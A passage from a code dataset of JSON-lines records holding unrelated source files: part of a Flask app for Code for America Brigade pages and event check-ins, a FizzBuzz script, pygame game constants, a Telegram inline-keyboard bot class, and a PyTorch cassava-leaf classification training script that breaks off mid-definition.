government_total=government_total,\n member_count=member_count, rsvps=rsvps, attendance=attendance,\n projects_total=projects_total, brigade_projects_total=brigade_projects_total,\n cfall_projects_total=cfall_projects_total, gov_projects_total=gov_projects_total,\n issues_total=issues_total, help_wanted_total=help_wanted_total, total_issue_clicks=total_issue_clicks)\n\n return render_template(\"numbers.html\", **kwargs )\n\n\n@app.route(\"/brigade/about/\")\ndef about():\n return render_template(\"about.html\")\n\n\n@app.route(\"/brigade/organize/\")\ndef organize():\n\n got = get(\"http://www.codeforamerica.org/api/organizations.geojson\")\n geojson = got.json()\n brigades = []\n\n # Prepare the geojson for a map\n for org in geojson[\"features\"]:\n # Grab only orgs with type Brigade\n if \"Brigade\" in org[\"properties\"][\"type\"]:\n brigades.append(org)\n elif \"Code for All\" in org[\"properties\"][\"type\"]:\n brigades.append(org)\n\n brigades = json.dumps(brigades)\n\n # Get universal sign up form\n r = get(\"http://www.codeforamerica.org/fragments/email-signup.html\")\n signup = r.content\n\n return render_template(\"organize.html\", brigades=brigades, signup=signup)\n\n\n\n@app.route(\"/brigade/tools/\")\n@app.route(\"/brigade/tools//\")\ndef tools(page=None):\n if page:\n return render_template(\"tools/\"+page+\".html\")\n else:\n return render_template(\"tools/index.html\")\n\n\n@app.route(\"/brigade/infrastructure\")\ndef infrastructure():\n return render_template(\"infrastructure.html\")\n\n\n@app.route(\"/brigade/projects\")\n@app.route(\"/brigade//projects\")\ndef projects(brigadeid=None):\n ''' Display a list of projects '''\n\n if brigadeid:\n if not is_existing_organization(brigadeid):\n return render_template('404.html'), 404\n\n projects = []\n brigade = None\n search = request.args.get(\"q\", None)\n sort_by = request.args.get(\"sort_by\", None)\n page = request.args.get(\"page\", None)\n\n if page:\n if brigadeid:\n next = \"/brigade/\"+brigadeid+\"/projects?page=\" + str(int(page) + 1)\n else:\n next = \"/brigade/projects?page=\" + str(int(page) + 1)\n else:\n if brigadeid:\n next = \"/brigade/\"+brigadeid+\"/projects?page=2\"\n else:\n next = \"/brigade/projects?page=2\"\n\n if brigadeid:\n url = \"https://www.codeforamerica.org/api/organizations/\"+ brigadeid +\"/projects\"\n if search or sort_by or page:\n url += \"?\"\n if search:\n url += \"&q=\" + search\n if sort_by:\n url += \"&sort_by\" + sort_by\n if page:\n url += \"&page=\" + page\n got = get(url)\n projects = get_projects(projects, url)\n if projects:\n brigade = projects[0][\"organization\"]\n else:\n brigade = { \"name\" : brigadeid.replace(\"-\",\" \")}\n\n else:\n url = \"https://www.codeforamerica.org/api/projects\"\n if search or sort_by or page:\n url += \"?\"\n if search:\n url += \"&q=\" + search\n if sort_by:\n url += \"&sort_by\" + sort_by\n if page:\n url += \"&page=\" + page\n got = get(url)\n projects = get_projects(projects, url)\n\n return render_template(\"projects.html\", projects=projects, brigade=brigade, next=next)\n\n\n@app.route(\"/brigade/attendance\")\n@app.route(\"/brigade//attendance\")\ndef attendance(brigadeid=None):\n ''' Show the Brigade attendance '''\n\n if brigadeid:\n if not is_existing_organization(brigadeid):\n return render_template('404.html'), 404\n\n if not brigadeid:\n got = get(\"https://www.codeforamerica.org/api/attendance\")\n else:\n got = get(\"https://www.codeforamerica.org/api/organizations/%s/attendance\" % brigadeid)\n\n attendance = got.json()\n\n if attendance[\"weekly\"]:\n\n # GCharts wants a list of lists\n attendance[\"weeks\"] = []\n for key, value in attendance[\"weekly\"].iteritems():\n week = [str(key), value]\n attendance[\"weeks\"].append(week)\n attendance[\"weeks\"] = sorted(attendance[\"weeks\"], key=itemgetter(0))\n\n attendance[\"this_week\"] = 0\n attendance[\"last_week\"] = 0\n if len(attendance[\"weeks\"]) >= 1:\n attendance[\"this_week\"] = attendance[\"weeks\"][-1][1]\n if len(attendance[\"weeks\"]) >= 2:\n attendance[\"last_week\"] = attendance[\"weeks\"][-2][1]\n\n return render_template(\"attendance.html\", brigadeid=brigadeid, attendance=attendance)\n\n\n@app.route(\"/brigade/rsvps\")\n@app.route(\"/brigade//rsvps\")\ndef rsvps(brigadeid=None):\n ''' Show the Brigade rsvps '''\n\n if brigadeid:\n if not is_existing_organization(brigadeid):\n return render_template('404.html'), 404\n\n if not brigadeid:\n got = get(\"https://www.codeforamerica.org/api/events/rsvps\")\n else:\n got = get(\"https://www.codeforamerica.org/api/organizations/%s/events/rsvps\" % brigadeid)\n\n rsvps = got.json()\n\n if rsvps[\"weekly\"]:\n\n # GCharts wants a list of lists\n rsvps[\"weeks\"] = []\n for key, value in rsvps[\"weekly\"].iteritems():\n week = [str(key), value]\n rsvps[\"weeks\"].append(week)\n rsvps[\"weeks\"] = sorted(rsvps[\"weeks\"], key=itemgetter(0))\n\n rsvps[\"this_week\"] = 0\n rsvps[\"last_week\"] = 0\n if len(rsvps[\"weeks\"]) >= 1:\n rsvps[\"this_week\"] = rsvps[\"weeks\"][-1][1]\n if len(rsvps[\"weeks\"]) >= 2:\n rsvps[\"last_week\"] = rsvps[\"weeks\"][-2][1]\n\n return render_template(\"rsvps.html\", brigadeid=brigadeid, rsvps=rsvps)\n\n\n@app.route('/brigade/index//')\ndef redirect_brigade(brigadeid):\n ''' Redirect old Brigade links to new Brigade links'''\n return redirect(\"/brigade/\"+brigadeid, code=301)\n\n@app.route('/brigade//')\ndef brigade(brigadeid):\n ''' Get this Brigade's info '''\n\n if brigadeid:\n if not is_existing_organization(brigadeid):\n return render_template('404.html'), 404\n\n got = get(\"https://www.codeforamerica.org/api/organizations/\" + brigadeid)\n brigade = got.json()\n\n return render_template(\"brigade.html\", brigade=brigade, brigadeid=brigadeid)\n\n\n@app.route(\"/brigade/checkin/\", methods=[\"GET\"])\n@app.route(\"/brigade//checkin/\", methods=[\"GET\"])\ndef get_checkin(brigadeid=None):\n ''' Checkin to a Brigade event '''\n\n if brigadeid:\n if not is_existing_organization(brigadeid):\n return render_template('404.html'), 404\n\n brigades = None\n if not brigadeid:\n # Get all of the organizations from the api\n organizations = get('https://www.codeforamerica.org/api/organizations.geojson')\n organizations = organizations.json()\n brigades = []\n # Org's names and ids\n for org in organizations['features']:\n if \"Brigade\" in org['properties']['type']:\n brigades.append({\n \"name\": org['properties']['name'],\n \"id\": org['id']\n })\n\n # Alphabetize names\n brigades.sort(key=lambda x: x.values()[0])\n\n # If we want to remember the event, question\n event = request.args.get(\"event\", None)\n question = request.args.get(\"question\", None)\n\n return render_template(\"checkin.html\", brigadeid=brigadeid,\n event=event, brigades=brigades, question=question)\n\n\n@app.route(\"/brigade/checkin/\", methods=[\"POST\"])\n@app.route(\"/brigade//checkin/\", methods=[\"POST\"])\ndef post_checkin(brigadeid=None):\n ''' Prep the checkin for posting to the peopledb '''\n\n # VALIDATE\n cfapi_url = request.form.get('cfapi_url')\n if not cfapi_url:\n return make_response(\"Missing required cfapi_url\", 422)\n\n elif not re.match(\"https:\\/\\/www\\.codeforamerica\\.org\\/api\\/organizations\\/[A-Za-z-]*\", cfapi_url):\n return make_response(\"cfapi_url needs to like https://www.codeforamerica.org/api/organizations/Brigade-ID\", 422)\n\n brigadeid = request.form.get('cfapi_url').split(\"/\")[-1]\n if not is_existing_organization(brigadeid):\n return make_response(brigadeid + \"is not an existing brigade.\" , 422)\n\n # MAILCHIMP SIGNUP\n if request.form.get(\"mailinglist\", None):\n if request.form.get(\"email\", None):\n\n # Split first and last name\n name = request.form.get('name', None)\n if name:\n if ' ' in request.form['name']:\n first_name, last_name = name.split(' ', 1)\n else:\n first_name, last_name = name, ''\n else:\n first_name, last_name = None, None\n\n mailchimp_data = {\n 'FNAME' : first_name,\n 'LNAME' : last_name,\n 'EMAIL' : request.form.get(\"email\"),\n 'REFERRAL' : request.url,\n 'group[10273][8192]' : '8192', # I attend Brigade events\n 'group[10245][32]' : '32' # Brigade newsletter\n }\n\n cfa_mailchimp_url = \"http://codeforamerica.us2.list-manage.com/subscribe/post-json?u=d9acf2a4c694efbd76a48936f&id=3ac3aef1a5\"\n cfa_mailchimp_response = post(cfa_mailchimp_url, data=mailchimp_data)\n\n if cfa_mailchimp_response.status_code != 200:\n return cfa_mailchimp_response.content\n\n # Prep PeopleDB post\n # Q&A is stored as a json string\n extras = {}\n extras[\"question\"] = request.form.get(\"question\", None)\n extras[\"answer\"] = request.form.get(\"answer\", None)\n extras = json.dumps(extras)\n\n peopledb_post = {\n \"name\": request.form.get('name', None),\n \"email\": request.form.get(\"email\", None),\n \"event\": request.form.get(\"event\", None),\n \"date\": request.form.get(\"date\", datetime.now()),\n \"org_cfapi_url\": request.form.get('cfapi_url'),\n \"extras\" : extras\n }\n\n auth = app.config[\"BRIGADE_SIGNUP_SECRET\"] + ':x-brigade-signup'\n headers = {'Authorization': 'Basic ' + b64encode(auth)}\n peopleapp = \"https://people.codeforamerica.org/checkin\"\n\n r = post(peopleapp, data=peopledb_post, headers=headers)\n\n if r.status_code == 200:\n # Remembering event name and brigadeid for later\n event = request.form.get(\"event\", None)\n question = request.form.get(\"question\", None)\n brigadeid = request.form.get(\"cfapi_url\").replace(\"https://www.codeforamerica.org/api/organizations/\",\"\")\n flash(\"Thanks for volunteering\")\n\n if brigadeid:\n url = \"brigade/\"+ brigadeid +\"/checkin/\"\n else:\n url = \"brigade/checkin/\"\n\n if event or question:\n url += \"?\"\n if event:\n event = event.replace(\" \",\"+\")\n url += \"event=\" + event\n if event and question:\n url += \"&\"\n if question:\n question = question.replace(\" \",\"+\")\n url += \"question=\" + question\n\n return redirect(url)\n\n # Pass any errors through\n else:\n return make_response(r.content, r.status_code)\n\n\n@app.route(\"/brigade/test-checkin/\", methods=[\"POST\"])\n@app.route(\"/brigade//test-checkin/\", methods=[\"POST\"])\ndef post_test_checkin(brigadeid=None):\n ''' Prep the checkin for posting to the peopledb '''\n\n test_checkin_data = {\n \"name\": request.form.get('name', None),\n \"email\": request.form.get(\"email\", None),\n \"event\": request.form.get(\"event\", None),\n \"date\": request.form.get(\"date\", str(datetime.now())),\n \"cfapi_url\": request.form.get('cfapi_url'),\n \"question\" : request.form.get(\"question\", None),\n \"answer\" : request.form.get(\"answer\", None)\n }\n\n if not test_checkin_data[\"cfapi_url\"]:\n return make_response(\"Missing required cfapi_url\", 422)\n\n elif not re.match(\"https:\\/\\/www\\.codeforamerica\\.org\\/api\\/organizations\\/[A-Za-z-]*\", test_checkin_data[\"cfapi_url\"]):\n return make_response(\"cfapi_url needs to like https://www.codeforamerica.org/api/organizations/Brigade-ID\", 422) \n\n\n brigadeid = test_checkin_data[\"cfapi_url\"].split(\"/\")[-1]\n if not is_existing_organization(brigadeid):\n return make_response(brigadeid + \"is not an existing brigade.\" , 422)\n\n else:\n return make_response(json.dumps(test_checkin_data), 200)\n\n\n@app.route('/brigade/projects/monitor')\n@app.route('/brigade//projects/monitor')\ndef project_monitor(brigadeid=None):\n ''' Check for Brigade projects on Travis'''\n limit = int(request.args.get('limit',50))\n travis_projects = []\n projects = []\n if not brigadeid:\n projects = get_projects(projects, \"https://www.codeforamerica.org/api/projects\", limit)\n else:\n projects = get_projects(projects, \"https://www.codeforamerica.org/api/organizations/\"+brigadeid+\"/projects\", limit)\n\n # Loop through projects and get\n for project in projects:\n if project[\"code_url\"]:\n url = urlparse(project[\"code_url\"])\n if url.netloc == \"github.com\":\n travis_url = \"https://api.travis-ci.org/repositories\"+url.path+\"/builds\"\n project[\"travis_url\"] = travis_url\n travis_projects.append(project)\n\n return render_template('projectmonitor.html', projects=travis_projects, org_name=brigadeid)\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0',debug=True, port=4000)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":21767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"437304332","text":"import sys\n\ndef fizz(x, y, n):\n result = \"\"\n num = 1\n while num <= n:\n if num % x == 0 and num % y == 0:\n result += \"FB \"\n num += 1\n elif num % x == 0:\n result += \"F \"\n num += 1\n elif num % y == 0:\n result += \"B \"\n num += 1\n else:\n result += str(num) + \" \"\n num += 1\n else:\n return result\n\n\ntest_cases = open(sys.argv[1], 'r')\n\nfor test in test_cases:\n test = test.strip(\"\\n\")\n test = test.split()\n first = int(test[0])\n second = int(test[1])\n third = int(test[2])\n \n print(fizz(first, second, third))\n\ntest_cases.close()\n\n","sub_path":"codeeval/fizzbuzz.py3","file_name":"fizzbuzz.py3","file_ext":"py3","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"219706681","text":"import pygame\n\n## Colors ##\nwhite = (255,255,255)\nblack = (0,0,0)\ngrey = (195,195,195)\npink = (255,105,180)\nred = (255,0,0)\n\n## Window Size ##\nwin_width = 1000\nwin_height = 700\n\n## Fonts ##\npygame.font.init()\ntitle_font = pygame.font.SysFont(\"Comic Sans MS\", 72)\nbutton_font = pygame.font.SysFont(\"Comic Sans MS\", 24)\ncounter_font = pygame.font.SysFont(\"Comic Sans MS\", 128)\n\n## Text (pygame.Surface) ##\ntitle_text = title_font.render(\"A Mini Game\", True, black)\ntitle_text_x = (win_width - title_text.get_width())/2\n\n## Game ##\ngravity = 400 # pixel per second\nrho = 0.3\nball_radius = 25\nSball_radius = 30 # Small ball radius for enemies\njump_v = 1200\njump_limit = 0.5 # second\nmove_speed = 200\nbounce_limit = jump_limit * 0.6\ndescend_speed = 600\nstarting_alert_time = 2\nstarting_spawn_rate = 5\nmax_health = 3\n","sub_path":"Constants.py","file_name":"Constants.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"116317373","text":"from telegram import Update, InlineKeyboardMarkup, InlineKeyboardButton\nfrom telegram.ext import ContextTypes\n\n\nclass QueBot:\n def __init__(self, items, text, chosen_text):\n self.items = items\n self.text = text\n self.chosen_text = chosen_text\n self.current_list = []\n\n async def questionnaire(self, update, context):\n await self.clear(update, context)\n await update.message.reply_text(self.text, reply_markup=self.build_que())\n\n def build_que(self, current_list=None) -> InlineKeyboardMarkup:\n \"\"\"Helper function to build the next inline keyboard.\"\"\"\n if current_list is None:\n current_list = []\n\n items_diff = list(set(self.items).difference(set(current_list)))\n self.current_list = current_list\n return InlineKeyboardMarkup.from_column(\n [InlineKeyboardButton(i, callback_data=i) for i in items_diff]\n )\n\n async def clear(self, update, context):\n context.bot.callback_data_cache.clear_callback_data()\n context.bot.callback_data_cache.clear_callback_queries()\n\n async def clear_with_message(self, update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:\n \"\"\"Clears the callback data cache\"\"\"\n await self.clear(update, context)\n await update.effective_message.reply_text(\"All clear!\")\n\n async def list_button(self, update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:\n \"\"\"Parses the CallbackQuery and updates the message text.\"\"\"\n query = update.callback_query\n await query.answer()\n\n item = query.data\n item_list = self.current_list\n\n item_list.append(item)\n\n list_text = \", \".join(item_list)\n await query.edit_message_text(\n text=f\"{self.chosen_text}: {list_text}. Choose the next.\",\n reply_markup=self.build_que(item_list),\n )\n\n async def handle_invalid_button(self, update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:\n \"\"\"Informs the user that the button is no longer available.\"\"\"\n await update.callback_query.answer()\n await update.effective_message.edit_text(\n \"Sorry, I could not process this button click 😕 Please send /start to get a new keyboard.\"\n )\n","sub_path":"IMPORTANT/telegram_bots/telegram/example/que_teleg.py","file_name":"que_teleg.py","file_ext":"py","file_size_in_byte":2272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"464916366","text":"import os\n\n# gpu_info = os.system('nvidia-smi')\n# print(gpu_info)\n\nimport pandas as pd\nimport numpy as np\nimport random\nimport cv2\n\nimport torch\nimport torch.nn as nn\nfrom torch.utils.data import DataLoader, Dataset\nimport torch.nn.functional as F\nfrom torch.cuda.amp import autocast, GradScaler\n\nimport timm\nfrom matplotlib import pyplot as plt\nfrom sklearn.model_selection import StratifiedKFold\n\nimport albumentations as A\nfrom albumentations.pytorch import ToTensorV2\nfrom tqdm import tqdm\n\nfrom utils.losses import BiTemperedLogisticLoss, TaylorCrossEntropyLoss\nimport pretrainedmodels\n\nimport argparse\n\n\ndef seed_everything(seed):\n random.seed(seed)\n os.environ['PYTHONHASHSEED'] = str(seed)\n np.random.seed(seed)\n torch.manual_seed(seed)\n torch.cuda.manual_seed(seed)\n torch.backends.cudnn.deterministic = False\n torch.backends.cudnn.benchmark = True\n\n\nclass Config:\n seed = 42\n data_dir = '/home/user/dataset/kaggle2020-leaf-disease-classification/'\n train_data_dir = data_dir + 'train_images/'\n train_csv_path = data_dir + 'train.csv'\n\n #data_dir = '/home/user/dataset/kaggle_cassava_merge/'\n #train_data_dir = data_dir + 'train/\n #train_csv_path = data_dir + 'merged.csv'\n #train_csv_path = data_dir + '2020.csv'\n #arch = 'vit_base_patch16_384' ## model name\n arch = 'efficientnet-b3'\n #arch = 'efficientnet-b4'\n #arch = 'efficientnet-b5'\n #arch = 'se_resnext50_32x4d_timm'\n device = 'cuda'\n debug = False ## clw modify\n\n #image_size = 384\n image_size = 512\n #train_batch_size = 16\n train_batch_size = 32\n val_batch_size = 32\n epochs = 12 ## total train epochs\n milestones = [7, 11]\n #freeze_bn_epochs = 5 ## freeze bn weights before epochs\n freeze_bn_epochs = 0 # clw modify\n\n #lr = 1e-4 ## init learning rate\n lr = 1e-1\n\n weight_decay = 1e-6\n num_workers = 4\n num_splits = 5 ## numbers splits\n num_classes = 5 ## numbers classes\n\n # min_lr = 1e-6 ## min learning rate\n T_0 = 10\n T_mult = 1\n #accum_iter = 2\n accum_iter = 1 # clw modify\n verbose_step = 1\n\n #criterion = 'LabelSmoothingCrossEntropy'\n criterion = 'Taylor'\n #criterion = 'bitempered'\n label_smoothing = 0.3\n\n train_id = [0, 1, 2, 3, 4]\n\n\ndef load_image(image_path):\n img = cv2.imread(image_path)\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n return img\n\nfrom utils.utils import rand_bbox_clw\nclass CassavaDataset(Dataset):\n def __init__(self, data_dir, df, transforms=None, output_label=True, mode=\"train\"):\n self.data_dir = data_dir\n self.df = df\n self.transforms = transforms\n self.output_label = output_label\n self.mode=mode\n self.Resize_Crop = A.Compose(\n [A.RandomResizedCrop(CFG.image_size, CFG.image_size, scale=(0.8, 1.0), ratio=(0.75, 1.333333))])\n\n def __len__(self):\n return len(self.df)\n\n def __getitem__(self, index):\n image_infos = self.df.iloc[index]\n image_path = self.data_dir + image_infos.image_id\n\n image = load_image(image_path)\n\n if image is None:\n raise FileNotFoundError(image_path)\n\n ##############\n label = image_infos.label\n\n label = torch.tensor(label).long()\n if self.mode == \"train\":\n # if random.random() < self.do_mixup_prob:\n # img, label = self.do_mixup(img, label, index)\n if random.random() < 0:\n img, label = self.do_cutmix(image, label, index)\n else:\n img = self.transforms(image=image)['image'] # clw note: 考虑到这里有crop等导致输入尺寸不同的操作,把resize放在后边\n label = torch.zeros(CFG.num_classes).scatter_(0, label, 1)\n elif self.mode == \"val\":\n img = self.transforms(image=image)['image']\n label = torch.zeros(CFG.num_classes).scatter_(0, label, 1)\n return img, label\n\n ### augment\n # if self.transforms is not None:\n # image = self.transforms(image=image)['image']\n # else:\n # image = torch.from_numpy(image)\n #\n # if self.output_label:\n # return image, image_infos.label\n # else:\n # return image\n\n def do_cutmix(self, img, label, index):\n '''\n Args:\n img: img to mixup\n label: label to mixup\n index: cutmix with other imgs in dataset, exclude itself( index )\n '''\n r_idx = random.choice(np.delete(np.arange(self.df.shape[0]), index))\n r_img_path = os.path.join(self.data_dir, self.df.iloc[r_idx, 0])\n r_img = cv2.imread(r_img_path)\n r_img = r_img[:, :, ::-1]\n\n img = self.Resize_Crop(image=img)['image']\n r_img = self.Resize_Crop(image=r_img)['image']\n ####\n img_h, img_w = r_img.shape[:2]\n\n lam = np.clip(np.random.beta(1, 1), 0.3, 0.4)\n ###lam = np.random.beta(1, 1)\n bbx1, bby1, bbx2, bby2 = rand_bbox_clw(img_w, img_h, lam)\n img_new = img.copy()\n img_new[bby1:bby2, bbx1:bbx2, :] = r_img[bby1:bby2, bbx1:bbx2, :]\n #cv2.imwrite(str(index) + '.jpg', img_new[:, :, ::-1])\n\n lam = 1 - ((bbx2 - bbx1) * (bby2 - bby1) / (img_h * img_w))\n label_one_hot = torch.zeros(CFG.num_classes).scatter_(0, label, 1)\n r_label = self.df.iloc[r_idx, 1]\n r_label = torch.tensor(r_label).long()\n r_label_one_hot = torch.zeros(CFG.num_classes).scatter_(0, r_label, 1)\n label_new = label_one_hot * lam + r_label_one_hot * (1 - lam)\n #img_new = train_aug(image=img_new)['image'] # clw note: 考虑到这里有crop等导致输入尺寸不同的操作,把resize放在后边\n img_new = train_aug_cutmix(image=img_new)['image'] # clw note: 考虑到这里有crop等导致输入尺寸不同的操作,把resize放在后边\n\n return img_new, label_new\n\nclass CassavaClassifier(nn.Module):\n def __init__(self, model_arch, num_classes, pretrained=False):\n super().__init__()\n\n ### vit\n ###self.model = timm.create_model(model_arch, pretrained=pretrained)\n #num_features = self.model.head.in_features\n #self.model.head = nn.Linear(num_features, num_classes)\n\n ### efficientnet\n if \"efficientnet-b3\" in model_arch:\n #self.model = timm.create_model('tf_efficientnet_b3_ns', pretrained=True)\n self.model = timm.create_model('tf_efficientnet_b3_ns', pretrained=True, num_classes=num_classes, drop_path_rate=0.2, drop_rate=0.2)\n self.model.classifier = nn.Linear(self.model.classifier.in_features, num_classes)\n elif \"efficientnet-b4\" in model_arch:\n self.model = timm.create_model('tf_efficientnet_b4_ns', pretrained=True)\n self.model.classifier = nn.Linear(self.model.classifier.in_features, num_classes)\n elif 'se_resnext50_pretrainedmodels' in model_arch:\n self.model = pretrainedmodels.se_resnext50_32x4d(pretrained=\"imagenet\")\n self.model.last_linear = nn.Linear(2048, num_classes)\n self.model.avg_pool = nn.AdaptiveAvgPool2d(1)\n elif 'se_resnext50_timm' in model_arch:\n self.model = timm.create_model('seresnext50_32x4d', pretrained=True)\n n_features = self.model.fc.in_features\n self.model.fc = nn.Linear(n_features, num_classes)\n elif 'vit_base_patch16_384' in model_arch:\n self.model = timm.create_model('vit_base_patch16_384', pretrained=True,\n num_classes=num_classes) # , drop_rate=0.1)\n self.model.head = nn.Linear(self.model.head.in_features, num_classes)\n\n '''\n self.model.classifier = nn.Sequential(\n nn.Dropout(0.3),\n #nn.Linear(num_features, hidden_size,bias=True), nn.ELU(),\n nn.Linear(num_features, num_classes, bias=True)\n )\n '''\n\n def forward(self, x):\n x = self.model(x)\n return x\n\ndef get_train_transforms(CFG):\n return A.Compose([\n A.Resize(height=600, width=800),\n A.RandomResizedCrop(height=CFG.image_size, width=CFG.image_size, scale=(0.8, 1.0), p=1),\n A.CenterCrop(height=CFG.image_size, width=CFG.image_size),\n A.Transpose(p=0.5),\n A.HorizontalFlip(p=0.5),\n A.VerticalFlip(p=0.5),\n A.RandomRotate90(p=0.5),\n A.ShiftScaleRotate(p=0.5),\n A.OneOf([\n A.HueSaturationValue(hue_shift_limit=0.2, sat_shift_limit=0.2, val_shift_limit=0.2, p=1),\n A.RandomBrightnessContrast(brightness_limit=(-0.1, 0.1), contrast_limit=(-0.1, 0.1), p=1)], p=0.7\n ),\n A.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225], max_pixel_value=255.0, p=1.0),\n A.CoarseDropout(p=0.5, max_height=32, max_width=32),\n ToTensorV2(),\n ],p=1.0)\n\ndef get_val_transforms(CFG):\n return A.Compose([\n # A.Resize(height=600, width=800), # clw modify\n # A.CenterCrop(CFG.image_size, CFG.image_size, p=0.5),\n # A.Resize(CFG.image_size, CFG.image_size),\n # A.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225], max_pixel_value=255.0, p=1.0),\n # ToTensorV2(),\n A.Resize(height=CFG.image_size, width=CFG.image_size),\n #A.RandomResizedCrop(height=CFG.image_size, width=CFG.image_size, scale=(0.8, 1.0), p=1),\n A.Normalize(), # A.Normalize(mean=(0.43032, 0.49673, 0.31342), std=(0.237595, 0.240453, 0.228265)),\n ToTensorV2(),\n ],p=1.0)\n\nalbu_transforms_train_cutmix = [\n A.Transpose(p=0.5),\n A.HorizontalFlip(p=0.5),\n A.VerticalFlip(p=0.5),\n #A.ShiftScaleRotate(shift_limit=0.1, scale_limit=0.1, rotate_limit=15, interpolation=cv2.INTER_LINEAR, border_mode=0, p=0.85),\n A.ShiftScaleRotate(p=0.5),\n A.OneOf([\n A.HueSaturationValue(hue_shift_limit=0.2, sat_shift_limit=0.2, val_shift_limit=0.2, p=1),\n A.RandomBrightnessContrast(brightness_limit=(-0.1, 0.1), contrast_limit=(-0.1, 0.1), p=1)], p = 0.7\n ),\n A.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225], max_pixel_value=255.0, p=1.0),\n A.CoarseDropout(p=0.5, max_height=32, max_width=32),\n # A.CoarseDropout(max_holes=12, max_height=int(0.11 * configs.input_size[1]),\n # max_width=int(0.11 * configs.input_size[0]),\n # min_holes=1, min_height=int(0.03 * configs.input_size[1]),\n # min_width=int(0.03 * configs.input_size[0]),\n # always_apply=False, p=0.5),\n #A.Cutout(p=0.5),\n ToTensorV2(),\n ]\n\ntrain_aug_cutmix = A.Compose(albu_transforms_train_cutmix)\n\n\ndef load_dataloader(CFG, df, train_idx, val_idx):\n df_train = df.loc[train_idx, :].reset_index(drop=True)\n df_val = df.loc[val_idx, :].reset_index(drop=True)\n\n train_dataset = CassavaDataset(\n CFG.train_data_dir,\n df_train,\n transforms=get_train_transforms(CFG),\n output_label=True,\n mode=\"train\")\n\n val_dataset = CassavaDataset(\n CFG.train_data_dir,\n df_val,\n transforms=get_val_transforms(CFG),\n output_label=True,\n mode=\"val\")\n\n train_loader = torch.utils.data.DataLoader(\n train_dataset,\n batch_size=CFG.train_batch_size,\n pin_memory=False,\n drop_last=False,\n shuffle=True,\n num_workers=CFG.num_workers,\n # sampler=BalanceClassSampler(labels=train_['label'].values, mode=\"downsampling\")\n )\n\n val_loader = torch.utils.data.DataLoader(\n val_dataset,\n batch_size=CFG.val_batch_size,\n num_workers=CFG.num_workers,\n shuffle=False,\n pin_memory=True,\n )\n\n return train_loader, val_loader\n\n\nfrom utils.utils import rand_bbox\ndef train_one_epoch(epoch, model, loss_fn, optimizer, train_loader, device, scheduler=None, schd_batch_update=False):\n model.train()\n lr = optimizer.state_dict()['param_groups'][0]['lr']\n\n running_loss = None\n pbar = tqdm(enumerate(train_loader), total=len(train_loader))\n for step, (images, targets) in pbar:\n images = images.to(device).float()\n targets = targets.to(device).long()\n\n with autocast():\n if np.random.rand() < 0.5:\n # generate mixed sample\n #lam = np.random.beta(1.0, 1.0)\n lam = np.clip(np.random.beta(1, 1), 0.3, 0.4)\n rand_index = torch.randperm(images.size()[0]).cuda()\n target_a = targets\n target_b = targets[rand_index]\n bbx1, bby1, bbx2, bby2 = rand_bbox(images.size(), lam)\n images[:, :, bbx1:bbx2, bby1:bby2] = images[rand_index, :, bbx1:bbx2, bby1:bby2]\n # adjust lambda to exactly match pixel ratio\n lam = 1 - ((bbx2 - bbx1) * (bby2 - bby1) / (images.size()[-1] * images.size()[-2]))\n # compute output\n preds = model(images)\n # loss = criterion(outputs, target_a) * lam + criterion(outputs, target_b) * (1. - lam)\n loss = loss_fn(preds, target_a) * lam + loss_fn(preds, target_b) * (1. - lam) #### no label smooth when using cutmix\n else:\n preds = model(images)\n loss = loss_fn(preds, targets)\n ###### clw modify\n #preds = model(images)\n #loss = loss_fn(preds, targets)\n\n scaler.scale(loss).backward()\n if running_loss is None:\n running_loss = loss.item()\n else:\n running_loss = running_loss * 0.99 + loss.item() * 0.01\n\n if ((step + 1) % CFG.accum_iter == 0) or ((step + 1) == len(train_loader)):\n scaler.step(optimizer)\n scaler.update()\n optimizer.zero_grad()\n\n if scheduler is not None and schd_batch_update:\n scheduler.step()\n if ((step + 1) % CFG.accum_iter == 0) or ((step + 1) == len(train_loader)):\n description = f'Train epoch {epoch} loss: {running_loss:.5f}'\n pbar.set_description(description)\n\n if scheduler is not None and schd_batch_update:\n scheduler.step()\n\n\ndef valid_one_epoch(epoch, model, loss_fn, val_loader, device, scheduler=None, schd_loss_update=False):\n model.eval()\n\n loss_sum = 0\n sample_num = 0\n preds_all = []\n targets_all = []\n scores = []\n\n pbar = tqdm(enumerate(val_loader), total=len(val_loader))\n for step, (images, targets) in pbar:\n images = images.to(device).float()\n targets = targets.to(device).long()\n preds = model(images)\n\n preds_all += [torch.argmax(preds, 1).detach().cpu().numpy()]\n #targets_all += [targets.detach().cpu().numpy()]\n targets_all += [torch.argmax(targets, dim=1).detach().cpu().numpy()] # clw moidfy: for one-hot label\n\n loss = loss_fn(preds, targets)\n loss_sum += loss.item() * targets.shape[0]\n sample_num += targets.shape[0]\n\n if ((step + 1) % CFG.accum_iter == 0) or ((step + 1) == len(train_loader)):\n description = f'Val epoch {epoch} loss: {loss_sum / sample_num:.5f}'\n pbar.set_description(description)\n\n preds_all = np.concatenate(preds_all)\n targets_all = np.concatenate(targets_all)\n accuracy = (preds_all == targets_all).mean()\n print(f'Validation multi-class accuracy = {accuracy:.5f}')\n\n if scheduler is not None:\n if schd_loss_update:\n scheduler.step(loss_sum / sample_num)\n else:\n scheduler.step()\n\n return accuracy\n\n\n################ freeze bn\ndef freeze_batchnorm_stats(net):\n try:\n for m in net.modules():\n if isinstance(m,nn.BatchNorm2d) or isinstance(m,nn.LayerNorm):\n m.eval()\n except ValueError:\n print('error with batchnorm2d or layernorm')\n return\n\n\nclass LabelSmoothingCrossEntropy(nn.Module):\n \"\"\"\n NLL loss with label smoothing.\n \"\"\"\n def __init__(self, 